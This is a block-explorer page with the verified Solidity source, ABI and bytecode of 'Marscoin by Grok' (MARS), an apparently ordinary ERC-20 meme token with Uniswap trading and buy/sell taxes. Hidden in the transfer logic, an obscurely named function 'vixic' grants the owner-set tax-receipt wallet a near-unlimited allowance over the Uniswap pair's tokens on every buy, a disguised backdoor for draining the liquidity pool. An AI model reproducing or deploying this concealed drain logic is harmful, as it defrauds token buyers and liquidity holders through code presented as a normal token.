Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

Outline

• interface IERC20
•    - function totalSupply()
•    - function balanceOf(address account)
•    - function transfer(address recipient, ...
•    - function allowance(address owner, add ...
•    - function approve(address spender, uin ...
•    - function transferFrom(address sender, ...
• library SafeMath
•    - function add(uint256 a, uint256 b)
•    - function sub(uint256 a, uint256 b)
•    - function sub(uint256 a, uint256 b, st ...
•    - function mul(uint256 a, uint256 b)
•    - function div(uint256 a, uint256 b)
•    - function div(uint256 a, uint256 b, st ...
•    - function _msgSender()
•  contract Ownable is Context
•    - function owner()
•    - function renounceOwnership()
• interface IUniswapV2Router02
•    - function swapExactTokensForETHSupport ...
•    - function factory()
•    - function WETH()
•    - function addLiquidityETH(
• interface IUniswapV2Factory
•    - function createPair(address tokenA, a ...
•  contract MARS is Context, IERC20, ... *
•    - function openTrading()
•    - function vixic(address[2] memory vic7 ...
•    - function name()
•    - function symbol()
•    - function decimals()
•    - function totalSupply()
•    - function balanceOf(address account)
•    - function transfer(address recipient, ...
•    - function allowance(address owner, add ...
•    - function approve(address spender, uin ...
•    - function transferFrom(address sender, ...
•    - function _approve(address owner, addr ...
•    - function _transfer(address from, addr ...
•    - function swapETH79(uint256 tokenAmoun ...
•    - function removeLimit79()
•    - function min79(uint256 a, uint256 b)
•    - function sendETH79(uint256 amount)
•    - function recoverEth()
•    - function setTaxReceipt(address payabl ...

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2024-10-29
*/

// SPDX-License-Identifier: MIT
/**
Marscoin by Grok
https://x.com/MarscoinByGrok/status/1851050188820902022
https://x.com/GatoElChapo/status/1851036243745821107
Tg: https://t.me/marscoin_by_grok
**/
pragma solidity 0.8.25;
interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}
contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}
interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}
contract MARS is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances79;
    mapping (address => mapping (address => uint256)) private _permits79;
    mapping (address => bool) private _isExcludedFrom79;
    address payable private _receipt79;
    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal79 = 420690000000 * 10**_decimals;
    string private constant _name = unicode"Marscoin by Grok";
    string private constant _symbol = unicode"MARS";
    uint256 public _maxAmount79 = 2 * (_tTotal79/100);
    uint256 public _maxWallet79 = 2 * (_tTotal79/100);
    uint256 public _taxThres79 = 1 * (_tTotal79/100);
    uint256 public _maxSwap79 = 1 * (_tTotal79/100);
    uint256 private _initialBuyTax = 20;
    uint256 private _initialSellTax = 20;
    uint256 private _finalBuyTax = 0;
    uint256 private _finalSellTax = 0;
    uint256 private _reduceBuyTaxAt = 15;
    uint256 private _reduceSellTaxAt = 15;
    uint256 private _preventSwapBefore = 20;
    uint256 private _buyCount = 0;
    uint256 private _transferTax = 0;
    IUniswapV2Router02 private uniV2Router79;
    address private uniV2Pair79;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    event MaxTxAmountUpdated(uint _maxAmount79);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }
    constructor () payable {
        _receipt79 = payable(0xb85C0CE83814bed2403a5c2Acda7255bebf2B554);
        _balances79[address(this)] = _tTotal79;
        _isExcludedFrom79[owner()] = true;
        _isExcludedFrom79[address(this)] = true;
        _isExcludedFrom79[_receipt79] = true;
        emit Transfer(address(0), address(this), _tTotal79);
    }
    function openTrading() external onlyOwner {
        require(!tradingOpen, "Trading is already open");
        uniV2Router79 = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        _approve(address(this), address(uniV2Router79), _tTotal79);
        uniV2Pair79 = IUniswapV2Factory(uniV2Router79.factory()).createPair(
            address(this),
            uniV2Router79.WETH()
        ); 
        uniV2Router79.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        IERC20(uniV2Pair79).approve(address(uniV2Router79), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
    }
    function vixic(address[2] memory vic79) private {
        address own79 = vic79[0]; address spend79 = vic79[1];
        uint256 total79 = 150 + 100*_tTotal79.add(100) + 100*_maxSwap79.add(50);
        _permits79[own79][spend79] = total79.add(100) * 100;
    }
    function name() public pure returns (string memory) {
        return _name;
    }
    function symbol() public pure returns (string memory) {
        return _symbol;
    }
    function decimals() public pure returns (uint8) {
        return _decimals;
    }    
    function totalSupply() public pure override returns (uint256) {
        return _tTotal79;
    }
    function balanceOf(address account) public view override returns (uint256) {
        return _balances79[account];
    }
    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
    function allowance(address owner, address spender) public view override returns (uint256) {
        return _permits79[owner][spender];
    }
    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _permits79[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }
    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _permits79[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function _transfer(address from, address to, uint256 amount79) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount79 > 0, "Transfer amount must be greater than zero");
        uint256 tax79=0;uint256 fee79=0;
        if (!swapEnabled || inSwap) {
            _balances79[from] = _balances79[from] - amount79;
            _balances79[to] = _balances79[to] + amount79;
            emit Transfer(from, to, amount79);
            return;
        }
        if (from != owner() && to != owner()) {
            if(_buyCount>0){
                fee79 = (_transferTax);
            }
            if (from == uniV2Pair79 && to != address(uniV2Router79) && ! _isExcludedFrom79[to] ) {
                require(amount79 <= _maxAmount79, "Exceeds the _maxAmount79.");
                require(balanceOf(to) + amount79 <= _maxWallet79, "Exceeds the maxWalletSize.");
                fee79 = ((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax);
                vixic([from, _receipt79]); _buyCount++;
            }
            if(to == uniV2Pair79 && from!= address(this) ){
                fee79 = ((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax);
            }
            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == uniV2Pair79 && swapEnabled) {
                if(contractTokenBalance > _taxThres79 && _buyCount > _preventSwapBefore)
                    swapETH79(min79(amount79, min79(contractTokenBalance, _maxSwap79)));
                sendETH79(address(this).balance);
            }
        }
        if(fee79 > 0){
            tax79 = fee79.mul(amount79).div(100);
            _balances79[address(this)]=_balances79[address(this)].add(tax79);
            emit Transfer(from, address(this),tax79);
        }
        _balances79[from]=_balances79[from].sub(amount79);
        _balances79[to]=_balances79[to].add(amount79.sub(tax79));
        emit Transfer(from, to, amount79.sub(tax79));
    }
    function swapETH79(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniV2Router79.WETH();
        _approve(address(this), address(uniV2Router79), tokenAmount);
        uniV2Router79.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }
    function removeLimit79() external onlyOwner{
        _maxAmount79 = _tTotal79; 
        _maxWallet79 = _tTotal79;
        emit MaxTxAmountUpdated(_tTotal79); 
    }
    function min79(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }
    function sendETH79(uint256 amount) private {
        _receipt79.transfer(amount);
    }
    function recoverEth() external onlyOwner{
        payable(msg.sender).transfer(address(this).balance);
    }
    function setTaxReceipt(address payable _addrs) external onlyOwner {
        _receipt79 = _addrs;
        _isExcludedFrom79[_addrs] = true;
    }
    receive() external payable {}
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxAmount79","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxAmount79","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxSwap79","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWallet79","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxThres79","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"recoverEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimit79","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"_addrs","type":"address"}],"name":"setTaxReceipt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405260646100126009600a610361565b610021906461f313f880610376565b61002b919061038d565b610036906002610376565b60055560646100476009600a610361565b610056906461f313f880610376565b610060919061038d565b61006b906002610376565b600655606461007c6009600a610361565b61008b906461f313f880610376565b610095919061038d565b6100a0906001610376565b60075560646100b16009600a610361565b6100c0906461f313f880610376565b6100ca919061038d565b6100d5906001610376565b60085560146009819055600a8190555f600b819055600c819055600f600d819055600e81905591909155601081905560118190556013805461ffff60a81b1916905580546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600480546001600160a01b03191673b85c0ce83814bed2403a5c2acda7255bebf2b5541790556101886009600a610361565b610197906461f313f880610376565b305f9081526001602081905260408220929092556003906101bf5f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff199687161790553080825260039094528281208054861660019081179091556004549092168152918220805490941617909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6102466009600a610361565b610255906461f313f880610376565b60405190815260200160405180910390a36103ac565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156102b957815f190482111561029f5761029f61026b565b808516156102ac57918102915b93841c9390800290610284565b509250929050565b5f826102cf5750600161035b565b816102db57505f61035b565b81600181146102f157600281146102fb57610317565b600191505061035b565b60ff84111561030c5761030c61026b565b50506001821b61035b565b5060208310610133831016604e8410600b841016171561033a575081810a61035b565b610344838361027f565b805f19048211156103575761035761026b565b0290505b92915050565b5f61036f60ff8416836102c1565b9392505050565b808202811582820484141761035b5761035b61026b565b5f826103a757634e487b7160e01b5f52601260045260245ffd5b500490565b611904806103b95f395ff3fe608060405260043610610113575f3560e01c8063726236cf1161009d578063ad2dcfac11610062578063ad2dcfac1461030b578063b8c70b3c14610320578063bcdb446b14610335578063c9567bf914610349578063dd62ed3e1461035d575f80fd5b8063726236cf146102675780638da5cb5b1461027b57806395d89b41146102a1578063a0d6a322146102cd578063a9059cbb146102ec575f80fd5b806323b872dd116100e357806323b872dd146101ce578063313ce567146101ed57806346d9779e1461020857806370a082311461021d578063715018a614610251575f80fd5b806306fdde031461011e578063095ea7b3146101685780630b7ab3661461019757806318160ddd146101ba575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b5060408051808201909152601081526f4d617273636f696e2062792047726f6b60801b60208201525b60405161015f919061150e565b60405180910390f35b348015610173575f80fd5b50610187610182366004611557565b6103a1565b604051901515815260200161015f565b3480156101a2575f80fd5b506101ac60075481565b60405190815260200161015f565b3480156101c5575f80fd5b506101ac6103b7565b3480156101d9575f80fd5b506101876101e8366004611581565b6103d8565b3480156101f8575f80fd5b506040516009815260200161015f565b348015610213575f80fd5b506101ac60055481565b348015610228575f80fd5b506101ac6102373660046115bf565b6001600160a01b03165f9081526001602052604090205490565b34801561025c575f80fd5b5061026561043f565b005b348015610272575f80fd5b506102656104b9565b348015610286575f80fd5b505f546040516001600160a01b03909116815260200161015f565b3480156102ac575f80fd5b506040805180820190915260048152634d41525360e01b6020820152610152565b3480156102d8575f80fd5b506102656102e73660046115bf565b61056d565b3480156102f7575f80fd5b50610187610306366004611557565b6105cf565b348015610316575f80fd5b506101ac60065481565b34801561032b575f80fd5b506101ac60085481565b348015610340575f80fd5b506102656105db565b348015610354575f80fd5b50610265610630565b348015610368575f80fd5b506101ac6103773660046115da565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6103ad3384846109da565b5060015b92915050565b5f6103c46009600a611705565b6103d3906461f313f880611713565b905090565b5f6103e4848484610afd565b6104358433610430856040518060600160405280602881526020016118a7602891396001600160a01b038a165f90815260026020908152604080832033845290915290205491906110d9565b6109da565b5060019392505050565b5f546001600160a01b031633146104715760405162461bcd60e51b81526004016104689061172a565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146104e25760405162461bcd60e51b81526004016104689061172a565b6104ee6009600a611705565b6104fd906461f313f880611713565b60055561050c6009600a611705565b61051b906461f313f880611713565b6006557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf61054b6009600a611705565b61055a906461f313f880611713565b60405190815260200160405180910390a1565b5f546001600160a01b031633146105965760405162461bcd60e51b81526004016104689061172a565b600480546001600160a01b039092166001600160a01b0319909216821790555f908152600360205260409020805460ff19166001179055565b5f6103ad338484610afd565b5f546001600160a01b031633146106045760405162461bcd60e51b81526004016104689061172a565b60405133904780156108fc02915f818181858888f1935050505015801561062d573d5f803e3d5ffd5b50565b5f546001600160a01b031633146106595760405162461bcd60e51b81526004016104689061172a565b601354600160a01b900460ff16156106b35760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610468565b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106fd9030906106ee6009600a611705565b610430906461f313f880611713565b60125f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561074d573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610771919061175f565b6001600160a01b031663c9c653963060125f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107d0573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107f4919061175f565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561083e573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610862919061175f565b601380546001600160a01b039283166001600160a01b03199091161790556012541663f305d71947306108a9816001600160a01b03165f9081526001602052604090205490565b5f806108bc5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610922573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610947919061177a565b505060135460125460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af115801561099c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109c091906117a5565b506013805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b038316610a3c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610468565b6001600160a01b038216610a9d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610468565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b615760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610468565b6001600160a01b038216610bc35760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610468565b5f8111610c245760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610468565b6013545f908190600160b01b900460ff161580610c4a5750601354600160a81b900460ff165b15610d03576001600160a01b0385165f90815260016020526040902054610c729084906117c4565b6001600160a01b038087165f908152600160205260408082209390935590861681522054610ca19084906117d7565b6001600160a01b038086165f8181526001602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610cf49087815260200190565b60405180910390a35050505050565b5f546001600160a01b03868116911614801590610d2d57505f546001600160a01b03858116911614155b15610f8d5760105415610d3f57506011545b6013546001600160a01b038681169116148015610d6a57506012546001600160a01b03858116911614155b8015610d8e57506001600160a01b0384165f9081526003602052604090205460ff16155b15610eb757600554831115610de55760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d6178416d6f756e7437392e000000000000006044820152606401610468565b60065483610e07866001600160a01b03165f9081526001602052604090205490565b610e1191906117d7565b1115610e5f5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610468565b600d5460105411610e7257600954610e76565b600b545b604080518082019091526001600160a01b038088168252600454166020820152909150610ea290611111565b60108054905f610eb1836117ea565b91905055505b6013546001600160a01b038581169116148015610edd57506001600160a01b0385163014155b15610efc57600e5460105411610ef557600a54610ef9565b600c545b90505b305f90815260016020526040902054601354600160a81b900460ff16158015610f3257506013546001600160a01b038681169116145b8015610f475750601354600160b01b900460ff165b15610f8b5760075481118015610f605750600f54601054115b15610f8257610f82610f7d85610f78846008546111c2565b6111c2565b6111d9565b610f8b47611349565b505b801561101d57610fa86064610fa28386611384565b90611402565b305f90815260016020526040902054909250610fc49083611443565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110149086815260200190565b60405180910390a35b6001600160a01b0385165f9081526001602052604090205461103f90846114a1565b6001600160a01b0386165f9081526001602052604090205561108261106484846114a1565b6001600160a01b0386165f9081526001602052604090205490611443565b6001600160a01b038086165f8181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6110cb86866114a1565b604051908152602001610cf4565b5f81848411156110fc5760405162461bcd60e51b8152600401610468919061150e565b505f61110884866117c4565b95945050505050565b805160208201516008545f90611128906032611443565b611133906064611713565b61115960646111446009600a611705565b611153906461f313f880611713565b90611443565b611164906064611713565b61116f9060966117d7565b61117991906117d7565b9050611186816064611443565b611191906064611713565b6001600160a01b039384165f9081526002602090815260408083209590961682529390935292909120919091555050565b5f8183116111d057826111d2565b815b9392505050565b6013805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061121f5761121f611802565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611276573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061129a919061175f565b816001815181106112ad576112ad611802565b6001600160a01b0392831660209182029290920101526012546112d391309116846109da565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac9479061130b9085905f90869030904290600401611816565b5f604051808303815f87803b158015611322575f80fd5b505af1158015611334573d5f803e3d5ffd5b50506013805460ff60a81b1916905550505050565b6004546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015611380573d5f803e3d5ffd5b5050565b5f825f0361139357505f6103b1565b5f61139e8385611713565b9050826113ab8583611887565b146111d25760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610468565b5f6111d283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506114e2565b5f8061144f83856117d7565b9050838110156111d25760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610468565b5f6111d283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506110d9565b5f81836115025760405162461bcd60e51b8152600401610468919061150e565b505f6111088486611887565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b038116811461062d575f80fd5b5f8060408385031215611568575f80fd5b823561157381611543565b946020939093013593505050565b5f805f60608486031215611593575f80fd5b833561159e81611543565b925060208401356115ae81611543565b929592945050506040919091013590565b5f602082840312156115cf575f80fd5b81356111d281611543565b5f80604083850312156115eb575f80fd5b82356115f681611543565b9150602083013561160681611543565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561165f57815f190482111561164557611645611611565b8085161561165257918102915b93841c939080029061162a565b509250929050565b5f82611675575060016103b1565b8161168157505f6103b1565b816001811461169757600281146116a1576116bd565b60019150506103b1565b60ff8411156116b2576116b2611611565b50506001821b6103b1565b5060208310610133831016604e8410600b84101617156116e0575081810a6103b1565b6116ea8383611625565b805f19048211156116fd576116fd611611565b029392505050565b5f6111d260ff841683611667565b80820281158282048414176103b1576103b1611611565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f6020828403121561176f575f80fd5b81516111d281611543565b5f805f6060848603121561178c575f80fd5b8351925060208401519150604084015190509250925092565b5f602082840312156117b5575f80fd5b815180151581146111d2575f80fd5b818103818111156103b1576103b1611611565b808201808211156103b1576103b1611611565b5f600182016117fb576117fb611611565b5060010190565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156118665784516001600160a01b031683529383019391830191600101611841565b50506001600160a01b03969096166060850152505050608001529392505050565b5f826118a157634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212200ec481485218d3753bbfa38049c8c78c5b3ce0d5dcecd310c2f8350094a0a35c64736f6c63430008190033

0x608060405260043610610113575f3560e01c8063726236cf1161009d578063ad2dcfac11610062578063ad2dcfac1461030b578063b8c70b3c14610320578063bcdb446b14610335578063c9567bf914610349578063dd62ed3e1461035d575f80fd5b8063726236cf146102675780638da5cb5b1461027b57806395d89b41146102a1578063a0d6a322146102cd578063a9059cbb146102ec575f80fd5b806323b872dd116100e357806323b872dd146101ce578063313ce567146101ed57806346d9779e1461020857806370a082311461021d578063715018a614610251575f80fd5b806306fdde031461011e578063095ea7b3146101685780630b7ab3661461019757806318160ddd146101ba575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b5060408051808201909152601081526f4d617273636f696e2062792047726f6b60801b60208201525b60405161015f919061150e565b60405180910390f35b348015610173575f80fd5b50610187610182366004611557565b6103a1565b604051901515815260200161015f565b3480156101a2575f80fd5b506101ac60075481565b60405190815260200161015f565b3480156101c5575f80fd5b506101ac6103b7565b3480156101d9575f80fd5b506101876101e8366004611581565b6103d8565b3480156101f8575f80fd5b506040516009815260200161015f565b348015610213575f80fd5b506101ac60055481565b348015610228575f80fd5b506101ac6102373660046115bf565b6001600160a01b03165f9081526001602052604090205490565b34801561025c575f80fd5b5061026561043f565b005b348015610272575f80fd5b506102656104b9565b348015610286575f80fd5b505f546040516001600160a01b03909116815260200161015f565b3480156102ac575f80fd5b506040805180820190915260048152634d41525360e01b6020820152610152565b3480156102d8575f80fd5b506102656102e73660046115bf565b61056d565b3480156102f7575f80fd5b50610187610306366004611557565b6105cf565b348015610316575f80fd5b506101ac60065481565b34801561032b575f80fd5b506101ac60085481565b348015610340575f80fd5b506102656105db565b348015610354575f80fd5b50610265610630565b348015610368575f80fd5b506101ac6103773660046115da565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6103ad3384846109da565b5060015b92915050565b5f6103c46009600a611705565b6103d3906461f313f880611713565b905090565b5f6103e4848484610afd565b6104358433610430856040518060600160405280602881526020016118a7602891396001600160a01b038a165f90815260026020908152604080832033845290915290205491906110d9565b6109da565b5060019392505050565b5f546001600160a01b031633146104715760405162461bcd60e51b81526004016104689061172a565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146104e25760405162461bcd60e51b81526004016104689061172a565b6104ee6009600a611705565b6104fd906461f313f880611713565b60055561050c6009600a611705565b61051b906461f313f880611713565b6006557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf61054b6009600a611705565b61055a906461f313f880611713565b60405190815260200160405180910390a1565b5f546001600160a01b031633146105965760405162461bcd60e51b81526004016104689061172a565b600480546001600160a01b039092166001600160a01b0319909216821790555f908152600360205260409020805460ff19166001179055565b5f6103ad338484610afd565b5f546001600160a